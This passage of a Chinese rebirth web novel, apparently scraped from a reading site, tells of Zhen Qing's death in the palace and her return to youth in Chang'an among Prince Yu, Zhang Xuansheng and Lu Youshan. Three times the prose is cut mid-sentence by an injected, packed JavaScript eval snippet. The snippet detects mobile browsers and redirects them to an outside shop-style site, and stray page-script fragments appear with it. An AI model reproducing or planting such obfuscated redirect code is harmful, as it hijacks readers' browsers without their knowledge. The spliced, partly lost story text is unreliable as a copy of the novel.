《明月不谙(重生)》 1. 前尘往事浮生若梦 宣和八年的冬天,长安飘起了第一场大雪,满地银装素裹,倾覆屋檐瓦舍,殿门外的梅花枝也被压断了一截,深埋雪中。 立政殿大门紧闭,屋内炭火毕剥作响,只留一珠窗开口透气。 “没想到我此生的最后一面,见到的人居然会是你。” 冬日严寒呼啸,卷起床前轻纱幔帐,枕清坐于梨花案前,纤细修长的手从侧匣中取出一支香,立于卧香炉中,冉冉升起一缕青烟,殿内浸满馨香。 江诉默默注视她的动作,听到她方才的话并不言语,只寻平常道:“今日的天色,似乎有些不好。” 枕清缓缓抬眸望向窗外厚重的阴霾色,她看不清是天色不好的日始还是太阳落山的日昏,只听得到外边凛凛朔风声不绝于耳。 她收回视线,微微曲起左腿,手腕置于左膝之上,身子散漫地倚着右侧凭几,神情倦怠地打量对面的江诉。 他长身跪于桌案前同她对立,正襟危坐,仿若翠竹又似松柏,像是雪山尖端的白皑,也像是...... “江侍郎,我第一次见到你的时候,我觉得你好像个男菩萨,我也切切实实地认为你就应该是个男菩萨。 “还记得有一次,你也如同这般模样坐在我的对面,但并不如现在这般平静。那时候我想求你帮我谋一条往生的路,你拒绝了,我才深知你眼中的怜悯也是漠视,是对人世情感的冷眼旁观,可你又默默注视着我们所有人。不知道为何我总是不自觉地被你吸引,但又记恨着你的冷漠。” 说及此处,枕清倏地轻笑了一声,可能就是因为江诉的冷漠,她才能走到此处,遥遥回想,仿佛又回到了很久之前,犹记得那是十五年前的春天,观和二年。 从枕清记事起,便一直跟在禹王身侧,禹王视她为己出,她也把禹王当作最好的父亲。原以为会一直这么和睦,但没曾想,事情会往不可控制的方向发展。 观和二年,枕清跟着禹王初入长安,禹王身边多了两位极厉害的门客,一位叫张宣晟,而另一位叫周犹。 虽说是门客,可禹王那时候的态度着实奇怪,对待他们不像是门客,而是把他们奉为上宾,甚至比府门中的亲王傅还要尊敬。 后来她才知道张宣晟是前朝太子的孩子,周犹则是前朝内史令曾孙,二人相互依靠与禹王合谋,欲想推翻大启,光复大齐。 大启根基不稳,他们谋划了十年,竟也推翻了大启,张宣晟称帝,那年史称宣和元年。 宣和元年的中秋,宫中张灯结彩热闹万分,张宣晟邀禹王入宫,枕清同行。 宴中痛饮,宴后大醉,张宣晟将禹王带进自己的偏殿,趁此机会,咄咄逼问半梦半醉的禹王说出枕家灭门的真相。他奉先皇之命,杀了枕家百余口人,只留不足满月的枕清,又见其怜,收之抚养。 她不是孤儿,原来她所认的最亲近之人,是有着血海深仇的仇人。 枕清强忍心中痛楚,视线变得模糊,直到滚烫泪珠犹如断线的珠子掉落,逐渐清明,与殿中的张宣晟对望,一时之间不知道是怪罪他告诉她真相,还是痛恨她自己被蒙在鼓里多年。 “我可以帮你报仇,只要你肯嫁我。”张宣晟眸眼凝然,俊朗的脸隐匿在明明灭灭的烛火后,“我想娶你。” 那夜,她望着天,触目皆是不着边际的黑暗,她突然很想逃离这个地方,去往江诉心中的那个世界。几乎是在下一瞬,她从太极殿一路狂奔到江诉府邸,求江诉能够为枕家翻案,给天下更好的天下,也给她一条往生的路。 可江诉的神情全是漠然,他抬眼问她:“难道我要去改革吗?这千年来的积淀是这么容易推翻吗?枕清,我是人,不是神。我只是封建社会下,被驯服的一缕游魂。” 即便如此,她依旧跪坐在江诉的桌案前不肯离开,菩萨怎么会不帮世人呢? 直到天边翻起了一卷亮色,枕清踉跄起身,拖着麻木的双腿入了宫门,应下张宣晟的婚事。 她和张宣晟的喜事传遍各州郡县长安街坊,枕清的心却不断下坠,一直等着如同末日的那天来临。她出嫁的那日是腊月的初始,长安下了一场鹅毛大雪,入目皆是白茫茫的景致,没入雪的鞋袜攀上一片濡湿的水渍,浸得人遍体生寒。 这样的天气委实有些恶劣和困扰,为首的侍女倒是满脸喜色,说这天很好,是福瑞之兆,娘子有福气,与君同淋雪,定能共白头。 册封大典那日进行的很顺利,唯独看到陆佑善,枕清浑身一僵,两道清脆的女声在遥久的地方传来。 “我想当皇后,成为这个世界上最尊贵的女人。” “好,那我就看着你当上皇后。” 陆佑善笑吟吟问:“沿溪,你想当什么呀?” 枕清想了想,道:“我啊,我没那么远大的抱负,我就想有一个上门的郎君,可以陪着我和父亲,还能时常见到你。” 陆佑善捂嘴,笑得开怀:“好呀,到时候我做了皇后,如果有人敢欺负你,我还可以护着你!” 枕清也跟笑道:“那就先谢过皇后殿下了。” 册封仪式结束,枕清当即换了一身衣裳,离开大殿去找陆佑善,她快步穿过长廊,听到一道疾言厉色声。 “我当然会嫉妒,这叫我如何能不嫉妒?凡事都以她为先,事事都在我之前。所有人都只看得到她,却从来没人能看得到我,我们分明是一样的啊。”陆佑善泣如雨下,“她出身名门望族,我难道不是世家出身?她长相惊艳一绝,我又何曾落了下风?她心思玲珑剔透,可我和她如此之久,又怎会没有这般心思?现如今她已经拥有了这么多,为什么皇后之位还是她的!为什么,这是为什么?” 陆佑善看着陆家长辈,忽然望见不远处的枕清,如同被摧心剖肝那般痛裂,她一字一顿道:“枕沿溪,你这个骗子当真叫人讨厌,我这辈子再也不想见到你!” 此后,她们竟真的再也没见过。 张宣晟上位的第二年,做出承诺,为枕家翻案,下令斩杀禹王;宣和三年,张宣晟重整朝堂,以雷霆手段,杀了许多人;第四年初春,寒冽未退,枕清开始施压江诉,后将其贬职,逐出长安。 所有人都不知道这位江侍郎是如何得罪了当今的皇后殿下。 逐出长安那日枕清在城门上居高临下且挑衅般看着江诉,江诉亦抬首,淡然地望向她,那眼中像是有从未有过的温和与洒脱。她冷漠收回视线,转身去了江诉的府邸。 江诉带走的东西很少,大部分都留在府上,她看到画本子里栩栩如生的图案,虽说不出名字,却也知道那是江诉的世界。 她行过红檀木架时,碰落一叠册子,最上方有许多不认识的人名,唯一的共同点是他们都姓枕。再往下翻看,那叠都是为枕家翻案的册子,却早已被许多人一一驳回。 原来,在她求他之前,他便已经为枕家翻过案,回味过后,只剩她在原地,怔然复怔然。 再后来的事情渐渐变得清晰,她知道张宣晟是害怕禹王的财力和兵力,所以急迫让她与禹王决裂,从而治禹王的罪。抄家后,大量的钱财以及禹王留给枕清的弥补可以充盈空虚已久的国库。她也知道为枕家翻案的证据是张宣晟从江诉这里得到的,张宣晟所做的一切都是为了巩固他自己的地位。 其实这些,枕清都不在乎,她看着张宣晟后宫美人越多,对她的脾气日益愈深,更想对陆家痛下杀手,恰逢边陲小国虎视眈眈,叛乱四起,一切都在涂炭中。 就在三日前,阿之奎一举破城后,她杀了张宣晟,提着他的头颅,送给阿之奎,请求放过全城百姓。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665293|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>枕清回首这一生,唯独对不起佑善一人,前日她亦书信一封,说清事情原委。 所有的一切,似乎都结束了。 “为什么杀了张宣晟?” 枕清听着那道清寒的声音,思绪逐渐回笼,她眉眼清浅地看着江诉,却不答,反问道:“为何回来?” 江诉清瘦修长的身形被烛火晃得斜长,他目光清冷又温柔:“枕清,你太敏感,也太锐利,你为了达到你的目标,似乎无所顾忌。” “是吗?”她轻声喃呢,转而笑望他,“我的遭遇,在你的知晓里是生存塑造的性格使然,也有看不见手的命运助推,你站在旁观者的角度,从道德仁爱上可以批判我,但请你想一想,换作是你,你难道不会和我一样?你难道没有做过任何一点自认为无伤大雅的小坏事吗?” 枕清放下膝上的手,霍然起身,垂首睥睨江诉那双盛满温柔怜悯的冷眸中,她勾起唇角,俯下身缓缓逼近他隽秀温雅的面孔,“况且,你从来没把我们当成真正的人,我们在你眼里,不过是纸墨上轻飘飘的几笔,在你心里,根本没有一点分量。你自始至终都在以旁观的角度看我们,你觉得你能独善其身,你觉得我们任何一个人死在你面前都是所谓的纸片人,你永远从容不迫,永远不会动心,这就是你,江诉。” 江诉抿唇敛眸,说不出反驳。 殿外寒风凛冽作响,立政殿内独燃两盏的烛火半明半昧,两道黑影徐徐融合。 江诉感受那人靠近的身形,听见不属于他的气息,身躯轻颤,忽而有些招架不住,欲要起身,只觉一阵头晕目眩,他察觉到熏香,慢慢看向那缕或散、或曲的青烟。 枕清似是早有预料,右手当即搭在他的肩上,左手抬起他的脸。她看到江诉神情中的茫然冷寒,全然没了往日的得心应手,无声敛唇,俯身轻擦过他的唇角、脸颊、耳垂,最后贴在他的耳畔,声音似蛊似魅。 “你真以为你能逃的掉吗?有时候既要做理中客,也要做局中人。” 殿门外的厉风透过狭窗,打灭了屋内仅有的烛光,珠窗被重重阖上,炭盆里的星火随风跳动,猛然打上幔帐,火光瞬间涌现在眼前,仿佛是极小一簇的烟花。 枕清恍惚一瞬,胸腔生起的疼痛猛烈剧增,她支撑不住,无力倾倒在江诉身上,随即张口咬上江诉的肩胛骨,恶狠狠道:“我真的恨死你了,江诉,我要你记我一辈子。” 江诉被咬的闷哼一声,听到这话,心绪震颤,透骨酸心。他知道自己中了香,动弹不得,便只能任由枕清趴在他的身上,心里有一道声音在说,忘不了。 枕清感受他温热的体温,想到禹王曾告诉过她,江诉骨子里的冷漠和温良,让他对任何人若即若离,但他这样的人真的爱上你,会让你拥有世上最好的月亮。 可惜在这个世上,谁也得不到这弯明月。 枕清闭上双眸,她想阿耶了,可在最后一刻,还是没能找到回家的路。哦,原来不是她找不到回家的路,而是她,本就是没有家的孩子...... 身上的人一直安安静静地躺着,压着他的手臂逐渐发麻。不知道过了多久,枕清呼吸越来越弱,身子越来越冷硬,江诉突然察觉到不妙,费力抬起的手又被垂下,他带着自己都不自知的后怕,轻轻喊道:“枕清。” “枕清?” “沿溪。” 不知道过了多久,他的身子终于可以动了,地面已被他捂得暖和,身上的人依旧冰冷,他起身看着枕清那张毫无生气的苍白小脸,陷入半刻茫然,最后轻轻拥着她入怀。 江诉觉得自己这一生都被困在一颗琥珀里动弹不得,只能目不转睛地看着枕清,而她都不会有任何反应,好像她也被困在琥珀里了,她的世界里没有他,他就这样透过外面的浑浊去捕捉她。 2. 客里归春又见春(一) 观和二年,春序正中。 响晴的上空三两只朱鹭高远飞驰,越过金碧辉煌的宫殿,穿过典雅古拙的楼塔,缓缓停在干年古树枝头,向下俯瞰。 长安城内道路宽敞阔达,街坊布局排列整齐,高而远地望去,好似块块分明的棋盘。 错落有致的房屋楼阁檐下垂挂艳色灯笼,随着西市的叫卖声荡荡悠悠。 西市往来的人群络绎不绝,有杂技卖唱,有拉琴算卦,甚至还能看到相貌突出的西域商人,街道内望眼处的酒楼茶肆、肉店米铺、旅舍果铺,仿佛包罗万象。 应钰被繁荣景象迷了眼,拉着枕清挤开人群,兴奋道:“你看呐,我们来了长安城七日,从东市逛到西市,这里比雷州好上不止百倍!” 枕清对应钰弯唇颔首,表示认同,继而被牵引着朝前走。 此地商客云集,人潮涌动,来来往往的商客吆喝问价,路过的人不慎碰到她的幂篱[1],枕清抬起右手扶住幂篱一宽檐边,动作顺来的风迹,吹开掩面掩身的薄纱,在薄纱缓缓垂落的那一刻,她好似看到了一抹熟悉的身影。 往前走的应钰没注意身后的枕清,依旧紧紧拉着枕清的手腕在街道内穿梭,从店门内到商贩前,问了价格又货比三家。与枕清相比,应钰来到此处,犹如水中嬉戏的鱼儿,轻快又从容。 两人东游西逛,拿起新鲜玩意又缓缓放下,最后停在银楼前。 银楼里边走动的小娘子极多,应钰摘下自己头上的帷帽,撩开枕清身前的幂篱皂纱,小脸凑到枕清面前,喜眉笑眼,她问:“进去看看呗?” 枕清被她突如其来的动作震了心神,面无表情地朝后退去,直到应钰的脸从自己的幂篱中出去,她才缓缓道:“好,下次不许再这样突然凑进来,我被你吓着了。” “那我下次提前和你知会一声?”应钰挑眉诉苦水,“你总是这样,被吓着了也是面无表情的,很难让人区别你是否真的被吓着了,都怪舅父叫你入长安的时候,面对任何事情都要表现得波澜不惊,现在好了,除了会微笑,其余时候都跟个木桩子似的!” 嘴上是这么说着,应钰才不会把枕清真认为木头桩子,枕清也知道应钰是在说笑,她故意板着脸,面无表情地撩开身前垂挂着的薄纱,配合着提醒道:“谨言慎行。” 相视两瞬后,两人纷纷笑了出声。 银楼里的商客甚多,她们也不便站在门口,提起身下的裙摆拾级而上。 店门内摆放的饰品琳琅满目,往里走一步去,能看到从西域来的红、绿宝石,也有波斯来的白象和珍珠、珊瑚及玛瑙,更有东南面运来的翡翠,色泽瑰丽,璀璨夺目。 银楼的掌柜在西市打交道几十年,早已眼观六路,耳听八方,枕清和应钰从门槛进来时就已被悄摸打量着,心中暗叹身姿不凡,一身越州缭绫,满头珠翠,甚是富贵。 掌柜当即放下手中算盘珠子,走上前招呼二人,笑容满面,边说边指引道:“想必两位小娘子还未来得及仔细看清,可走近些来看看,这些都是波斯货,昨儿才到的,小娘子可算是有眼福了,而且我们这里的货物,在长安城内都是一等一的好,不知道二位小娘子想要什么,某好推荐。”[2] 应钰自觉这几日是见惯了翠羽明珠、金钗细合,可仍是被这些晃了心神,她心绪颇急,挥了挥手打发似的,“我们先随意看看。” 掌柜含笑说好,听到此话,不远处有个女子有些不满了,她视线微微斜睨应钰,再转向一直默默不言且看不清容貌的枕清,自视甚高地轻嗤一声:“林掌柜倒是个会做生意的,见风使舵可是一把好手,我们在此地站了可是有几刻钟了,也没个人来照拂我们,想来是瞧不上我们这几位小娘子!” 这话中有刺的意图明显,应钰本想要走近看的脚步一顿,她眼神凌厉地望向方才说话的女子,她倒是没觉得掌柜对她们有多阿谀奉承,只是这话怎么听都不舒服。 掌柜为商多年,倒也算是半个人精,他虽然真的瞧不上这位喜欢吹毛求疵的许家三娘子,但表面的和气与风度还是要维持的。掌柜正要开口来平息剑拔弩张的氛围,不料有一道清脆靓丽的女声先他一步。 “许三娘可千万别这么说,人掌柜定是认为你是此地的熟客,在这里熟门熟路,而那两位小娘子似是第一次来这银楼,定然没有你熟悉这些珠钗宝玉的位置。”陆佑善音调下转,略有几分抱怨的意思,“但掌柜招待新客忘旧客,倒也该给我们许家阿姊赔个不是了。” “对对对,陆小娘子提醒的是。”林掌柜顺着陆佑善的台阶往下走,“我这就给许三娘赔个不是,许三娘想看些什么,某今日就在这陪着许三娘了!” 许昭玥没好气地冷哼了一声,但看在陆佑善的面子,也勉强接受了林掌柜的赔礼道歉。 许昭玥也瞧见应钰面容不快地看着她,她心思微变,这两人虽看着气度不凡,但在长安的女眷新贵里从未看到这二人,更像是商贾出身,也不至于惹不起,自然拂不下面子去跟“下等人”解释并非针对她们二人。 应钰狠狠瞪了许昭玥一眼,带着一肚子火气去看珠宝,发现没一件是能看得下去,她便也不想好好看了,反正这几日王府送来给枕清的珠宝玉器多得是,她直接朝许昭玥一众人的方向快步走去。 掌柜推荐好看的,许昭玥只要一表露想要,还没等人开口,应钰当即跟掌柜说自己要下了,就这么看了两三件。许昭玥和她身旁的小娘子打心底都知道应钰财大气粗,贵气逼人,应钰这都要了三两件贵品。 许昭玥正值豆蔻年纪,心高气傲,对于心仪的珠宝不舍得下手,舍得下手的又被应钰挑了去,心中不免憋屈,面子上更是挂不住,风头更是被应钰抢了去! 掌柜哪里还顾得上许昭玥,直接笑得合不拢嘴,连声唤人将其包装好送到应钰手中。 应钰等着人把那些珠钗装好,回首的时候才发现枕清没有跟上来,她视线远远寻找,就见方才出言相劝的陆佑善步态轻盈地朝枕清走去。 陆佑善生得艳美绝俗,声音亦是清耳悦心,与她交谈,不会使人害怕从而心生警惕,反倒是给人如沐春风的舒适,可应钰却觉得她存在无形的危险。 方才那般态度,她三言两语轻巧化解,这里的人似乎都会给她个面子。 陆佑善走到枕清面前,嫣然含笑:“我叫佑善,你叫什么呀?” 她话音正落,一只细腻白皙的手从幂篱中撩开薄纱,一张精致明艳的脸显露在眼前,枕清缓缓抬睫看向她,陆佑善眼中满是惊艳之色,没想到这位小娘子生得这般明眸善睐,唇角的笑容更盛,呼吸变得轻而浅,仿佛珍视最贵重的物品,稍有不慎就会支离破碎。 枕清也被陆佑善的容貌炫目,维持淡淡笑容,启唇道:“我叫沿溪。” “好听。”陆佑善弯了弯眼,“生得也美,你应该是初入长安吧。” 枕清被她的细腻心思惊讶,她点头道:“如何看出来的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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枕清放下幂篱的纱面,侧身朝陆佑善颔首,跟着应钰一同走了出去。 陆佑善望着她们两人的背影迟迟没有回神,身后的丫鬟倒是忍不住出声:“小娘子,她们可是从雷州来的,为什么要和她们如此亲近?” “雷州?”陆佑善敛下笑容,“你可知道最近从雷州回来的可有谁?” 卷柏摇头:“婢不知。” 陆佑善眼眸微深,她道:“禹亲王。” 街上人流熙熙攘攘,应钰不屑道:“哈!还要小厮呢,长安城里的小娘子们倒真是.....手无缚鸡之力,也不想想我们的师傅是谁?对了,你为什么要告诉那个人我们来自雷州。” 枕清解释道:“她的出身气度不凡,倘若我们日后以真实的身份碰到了,平添几分窘迫,倒不如诚实一些,避免误会。况且,她心思玲珑,未必猜不到我们的身份。” 应钰点点头:“也对。雷州,旁人都避之不及,她倒好,听到了也不介怀,还上赶子与我们凑在一块。” “你好似不喜欢她?”枕清笑问。 “倒也不是,就怕她不好相与,而且她心思细腻得让人心惊,我觉得我在她面前无处遁寻。” 应钰不自然看向别处,她思绪游走,分神道:“她们这些人,今日是好姐妹,明日就能因为别的事情反目成仇,这长安城里多的是知人知面不知心,你难道就不害怕吗?” 枕清隔着幂篱纱面淡淡一笑,不作回答。 3. 客里归春又见春(二) 日落西山,天色已晚,长安又快到了宵禁时分。前路长街突然冲出三两人飞奔疾跑,应钰眼明手快地拉过枕清置于自己身后,可自己仍旧一个趔趄,猝不及防地要转身避开,突然一只有力的手搭在她的手臂,牢牢扶稳了她。 应钰惊讶地望向来人,其实不需要这人出手,她也能躲开,但也知道人是好心,她脸笑眼不笑地说:“多谢郎君。” 话落,回头看到枕清和另一个男子靠得极近,那位郎君正拾起枕清掉落在地,碎成两截的青玉。 应钰面容大变,她当即转身走近枕清,面前郎君生得丰神俊朗,话语里还能听出惋叹之意:“小娘子,你的东西掉了,这上好的玉佩碎成两截,着实可惜。” “无妨。” 春日晚风微凉,浮起一阵慢风,幂篱随着风迹而动,薄纱之后的面容若隐若现,张宣晟看清枕清面容的那一瞬,万般思绪如同汹涌的洪流遍布全身,令他心乱如麻,难以动辄。 枕清掀开幂篱,漂亮的眼眸没有惊起一丝波澜,她注视着张宣晟神魂恍惚的模样,伸出手去讨要自己的玉佩,轻轻弯唇:“多谢。” 张宣晟眼神动容,落在旁人眼里,似乎是他被枕清的样貌倾倒,可只有他自己知道这其中的纠葛太深,可最后只能逼着自己化作轻轻释然。 “不必言谢。” 张宣晟动作僵硬地把玉佩放在枕清的手中,他松动方才克制不住红了眼的神色,试探着问:“枕小娘子,可还认得我吗?” 枕清看着张宣晟那张英气俊朗的脸,眼中的疑惑与警惕渐渐浮现,一旁应钰倒是没好气地出声:“小郎君虽然长得俊朗非凡,可不能仗着这番容貌,随意乱攀关系吧!” 张宣晟瞧枕清见自己如同在看一个怪人,她提防般后退,和自己拉开些许距离,仿佛就是一个陌路人,没有仇恨憎恶,没有爱恨纠葛,没有万般孽障,只有……只有形同陌路。 枕清虽是起了戒心,却也为张宣晟做了开脱,转而对应钰说:“长安城中多是如我这般的小娘子,想来郎君是认错人了,我们走吧。” 张宣晟看着渐行渐远的人,她居然不记得,周犹和应钰也不记得,所有人都不记得,只有他一个人重生了,记得这所有的事情! 是天助吗?给他重来一次的机会。 周犹看着失魂落魄的张宣晟,再望向走远的枕清,眸中神色愈发狠戾,方才张宣晟所喊那女子为“枕小娘子”,他暗自思谋一个枕字,想来她就是张宣晟入梦时的“枕清”。 来长安城的那日,张宣晟心绪突然大变,这几日时常梦魇,而在梦魇时分,他最常说的话便是——枕清,你来杀我,来杀我啊! 越来越远,走得越来越远,应钰到没人的地方,才缓缓叹气:“长安多怪人。” 枕清回首看向早已看不到身影的地方,神色如同鬼魅般,却没有一丝温度,她勾唇道:“是啊,长安多怪人。” 回到禹王府邸,天边也只剩一片金黄的余晖,应钰先去自己的屋子,枕清脱下自己的幂篱交给阍人[1],独自穿过长廊走到禹王的书房。 她站在门口,余晖下的影子拉得斜长,犹如可以吞噬整间屋子的巨人,她停留了半晌,屋内的人先开了口:“还站在门外作甚?冬寒未完全过去,小心像儿时那般着了风寒,几宿都疼得睡不着。” 枕清唇角弯起笑意,伸手推开门扉,轻而关上,里间的熊熊燃烧的壁炉瞬间把外边的寒冷隔绝,她笑意不减,走近说:“即使得了风寒我也不怕,因为阿耶会日日在我身旁照顾我,直到我好了为止!” “你啊,”禹王有些无奈地摇头,“我这些日子可顾不上你,也不能时时照拂得了你,你自己要多加注意。” 点了点脑袋的枕清表示知晓,盘坐在禹王身侧,随手拿了一支笔和两张纸,她上下打量着还在端跪着批注的禹王,和自己的随意形成对比,她倒也没什么不好意思,在禹王面前早已放肆惯了。 忽而,她拿着笔在墨碟上沾了色,一双明亮的眸子一瞬不瞬地盯着禹王,她讨好着问:“阿耶,你叫什么名字,他们都忌讳你的名讳,从来不肯告诉我。” “不是忌讳我的名讳,是忌讳先皇的名讳。”禹王停下手中的动作,侧眸看着满眼猎奇的枕清,随手拿起一本薄册在她头上不轻不重地敲了一下,枕清抱着脑袋,如同幼兽一般,弱弱地嗷呜一声。 禹王看着她这般模样,不禁被气笑了。 他抖了抖方才的凶器,作威胁似的同她道:“你倒是胆子大,敢直接来问我,我和先皇的名讳相近,他们自然不可能告诉你,你也不许再去问别人,否则惹得一身灰,我也救不了你。” “才不会,阿耶就是这个世界上最厉害的人!”枕清反驳后,轻轻说,“阿耶不是我最亲近的人吗?我当然敢问阿耶了,我最信任的人也是阿耶,难道阿耶真的会害我吗?” 禹王看着枕清,屋内的烛火轻轻摇晃,他突然失了神,眼眶浮起淡淡的红,他直视枕清,道:“不会。阿耶一定不会害你,即使你日后要杀我,阿耶也不会多说任何一句。” “阿耶在瞎说什么呢!我怎么可能要杀了阿耶!”枕清面容大变,急赤白脸地反驳,她心绪错乱,霍然起身,此前碎裂的玉佩当即砸落在地上,惊起的声音缓和了两人之间诡异的气氛。 方才的大动作,枕清后知后觉地缓过劲来,脑袋昏沉,目光晕眩,身形开始摇晃,禹王则是看清了那块碎裂的玉佩,面容失了血色,他的手微微颤抖,纸页染上大滴墨汁。 他早已料到会有这么一天,还没来得及问其原因,恍惚间,他见枕清站不稳地栽倒下去,连忙抱住倒下的枕清,朝外慌忙惊呼:“叫义宁过来!” 东庭院外的芭蕉叶被一场急雨打弯了腰,刚盛开不久的桃花也零落一地余香,和煦的春风穿梭院内,丛丛花树随风起伏,飒飒作响。 雨后芬芳越过浅浅的窗棂,犹如长远悠扬的丝竹之声,漫向屋内。 屋内上好的红色檀木桌雕刻着精细的花纹,案上有一只精致花瓶,正值春日,插.着一支桃花,流转女儿家的温婉细腻。 枕清醒来的时候,先是看到了床帐,恍恍惚惚地抬睫,看到了禹王、义宁、应钰,她张了张唇。 “我这是怎么了?” 义宁收拾好自己的东西,解释道:“县主气急攻心,晕倒了,我开几副药,好好调理便没事了。” 她又想到之前的事,不愿意再看到禹王,她转过身背对着他,“多谢。” 禹王轻轻道:“是阿耶不好,不该说那种话。” 枕清没有应声。 禹王内心时常不安定,他很想告诉枕清真相,却又害怕她知道真相,害怕她的心中最好的自己逐渐分崩离析,变得面目可憎。 他也知道枕清迟早会离开他,现在只能期待着她发现的晚一点,再晚一点,自私地贪恋着这么一个女儿所给他的温情。 应钰和义宁听到这句话,心照不宣对视一眼,缓缓退了出去,甚至贴心地关好了门。 “先皇和我差了一字,我的名字叫裴祉敏。”禹王看着枕清瘦弱的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665295|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影,陷入茫然,“阿耶说了不好听的话,你不要往心里去,也不要生阿耶的气,你这样,我不知道该如何自处了。” 枕清迟缓转身,脸颊挂着两行清泪,语气倔强:“阿耶是觉得我会杀了阿耶吗,阿耶不信我,阿耶觉得我会这么做?” “不是不信你,只是凡事皆有可能。”禹王重复道,“我怎么会不信你,我信你,我信你。” 枕清红着眼睛,偏过视线不忍再探,冷硬道:“那希望阿耶能够记住今日的话,一直信我。” 门外的应钰将脸在房门前想要听里边的动静,义宁看到应钰这番模样,叹息一声,伸出要拉她的衣袖,应钰连忙避开他要拉走的动作,若无其事地往前走,再慢慢悠悠放下步子,紧张挪近义宁问:“沿溪真的没事吗?” 义宁听到这话,勾起一抹嘲讽,道:“自然没事,我的药,我自己心里有数。” 应钰知道他的医术高超,也放下了一直放不下来的心,觉得仗义般拍了拍他的肩膀说:“我当然放心了!有你那几贴药,沿溪当然可以药到病除的!” 这下轮到义宁愣怔了,他不是这个意思,而是在三天前,枕清来找过他,要了一副伤身子的药。 那日枕清来到了王府后院的药房里,跟他说禹王这些日子太忙碌,从而忽略了她,她心里不舒服,所以想要一副伤身子的药,自己生病后,禹王能多花些时间陪伴她。 义宁听到这个说辞当下就否决了,这种把戏,他当然不会应下给她,不料枕清软硬兼施,循循善诱:“在长安这几日里,阿耶连吃饭都不记得按时吃,整日关在书房里,你难道就不心疼阿耶吗?你难道就不想他多休息,别劳累了身子?” ……思及此处,义宁回头看向紧紧关闭的门窗,王府内真正的女眷就只有枕清和应钰两人,枕清没必要还要伤害自己的身体来博得禹王心里的重视,明眼人都知道禹王最疼爱枕清这个女儿。 他微微拧眉,枕清真的只是想要禹王能多陪她,或担忧禹王操劳过度吗? 粉嫩的桃花枝留有余香,屋内终究是禹王再次打破寂静。 他拿起碎成两半的青玉,温声道:“这是在妙言寺里的方丈那里求得的,据说可以保你平安,辨吉凶,怎么突然就碎了,可是又遇到什么人?” 枕清强忍下不舒服,觉得义宁配的药越发厉害,她抬起湿漉漉的眼睫,缓缓起身道:“我和应钰确实遇到过这么一个人,好像是王府中新来的门客,似乎叫张宣晟,阿耶可知道那个人?” “是他啊,我知道。” 禹王伸手扶住虚弱的枕清,他静静看着枕清垂眸,紧紧抿唇,神色叫人难辨,他试探问:“那你看到他时,心中可生欢喜?” 枕清闻言,倏然抬头,眼神如同林间幼兽那般清澈明亮,惊恐之余又显露难以置信,她哑声驳道:“绝无可能!阿耶,他让我害怕!” “他好奇怪,奇怪到让我心怯。”枕清脸色愈发苍白无力,“而且我的玉佩碰到他就碎了,都说玉碎保平安,说明它在为我挡灾!阿耶,我怕他。” 禹王神情松动,他抬手擦掉枕清的眼泪,心疼道:“阿耶知道了,我不会再让他出现在王府内。” 听到这话,枕清才敢卸了力,疲沓地倒在床上,禹王替她掖好被角,换人拿了一堆折子,坐在一旁的桌案上,再次批注了起来。 枕清隔着幔帐看着他,好像回到了很久以前,久到她都快忘了那是什么时候,她渐渐露出一抹嘲意,沉沉闭眼,已经很久没有这么的安心,似乎终于可以睡个好梦了。 4. 客里归春又见春(三) 夜静更深,烛焰摇曳跳动,像是在深夜中群魔乱舞的魑魅魍魉,频叫人心烦意乱。 客栈内,墙面上的两道影子僵硬微动,张宣晟眸子渐幽,他沉下一口气,好似才缓过来,道:“你说她的玉佩在碰到我之前就碎了?” 周犹的神色掩匿在黑暗中,他杀意渐显,“没错,当时我在扶着她身旁另一个小娘子,所以只能看着她故意撞上你!” “把你的想杀她的心思收一收!她现在不能死,也不可以死。”张宣晟斥道,“你可知道她是谁?” “枕清。” “我问的是身份!” 周犹偏过脑袋,梗着脖子,不情不愿道:“不知。” 张宣晟缓缓看向他,声音微冷:“禹王的养女,大启朝唯一的县主,以后还有用得着她的地方。” 得张宣晟如此说,周犹也不便再说其他,他又想到另一件事,道:“最近波斯商人出入频繁,鬼市里出现了好几件稀世珍宝,这几日的鬼市定然热闹,届时我们去看看,打点一下吏部侍郎吗?” “自然去看,但不打点吏部。” 张宣晟慢条斯理地润墨提笔,在户部侍郎几字上画了一个叉,眼神露出几分玩味,“撞碎了县主的玉佩,自然要去鬼市好好挑选,赔礼还她一份才是。” 所谓鬼市,是只限于夜间开放的闹市,在城郊外的荒地上举行,所以大部分的富家小姐会在正规的银楼买卖。 例如东市的川银楼。 这川银楼在东市立足已有几十年,来此处都是非富即贵之人,据说有各式各样的郎君在外头守株待兔、翘首以盼,想着是否能遇上几个富贵小娘子来场意外邂逅。 俗称的癞蛤蟆想吃天鹅肉,幻想着能攀上高枝呢。 这一路上有不少窃窃私语声,应钰如同白兔般竖起耳朵,慢慢悠悠地路过别人身旁,将听到的话东拼西凑,知道了个大概。 